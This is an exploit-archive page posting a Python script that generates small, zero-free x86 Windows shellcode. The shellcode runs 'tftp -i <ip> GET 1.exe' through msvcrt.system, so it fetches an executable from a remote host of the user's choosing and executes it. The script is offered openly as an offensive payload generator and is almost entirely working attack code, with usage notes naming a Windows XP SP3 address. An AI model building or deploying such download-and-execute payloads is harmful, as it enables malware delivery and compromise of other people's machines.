what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Windows/x86 Download With TFTP And Execute Shellcode

Windows/x86 Download With TFTP And Execute Shellcode
Posted Jan 11, 2019
Authored by Semen Alexandrovich Lyhin

Windows/x86 download with TFTP and execute shellcode generator.

tags | x86, shellcode
systems | windows
SHA-256 | c8cc51a087e29761255b9bf2a95108df4695236b166eb1953a24eed80cb7568c

Windows/x86 Download With TFTP And Execute Shellcode

Change Mirror Download
#!/bin/python

#Author: Semen Alexandrovich Lyhin.
#https://www.linkedin.com/in/semenlyhin/
#This script generates x86 shellcode to download and execute .exe file via tftp. File name should be equal to: "1.exe"
#Lenght: 51-56 bytes, zero-free.

import sys

def GetOpcodes(ip,addr):
command = r"tftp -i " + ip + r" GET 1.exe&1"
#add spaces, if required.
command += (4-len(command)%4)%4*" "

#calculate opcodes for the command
opcodes = ""
for s in [command[i:i+4] for i in xrange(0,len(command),4)][::-1]: #split by 4-char strings and reverse order of the strings in the list
opcodes += "68" #push
for char in s:
opcodes += hex(ord(char))[2:].zfill(2)

#zero out eax and push it. If there is zeroed register, we can simplify this operation. Check it manually.
opcodes = "33C050" + opcodes
#push esp. Modify this part, to make program stabler. #mov eax,esp #push eax
opcodes += "54"
#move addr of msvcrt.system to ebx
opcodes += "BB" + addr
#call ebx
opcodes += "FFD3"
return opcodes

if __name__ == "__main__":
if len(sys.argv)!=3:
print "Usage: " + sys.argv[0] + " <ip> <address of msvcrt.system>"
print "Address of msvcrt.system == C793C277 for Windows XP Professional SP3"
exit()
opcodes = GetOpcodes(sys.argv[1],sys.argv[2])
print opcodes
print "Lenght:" + str(len(opcodes)/2)
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close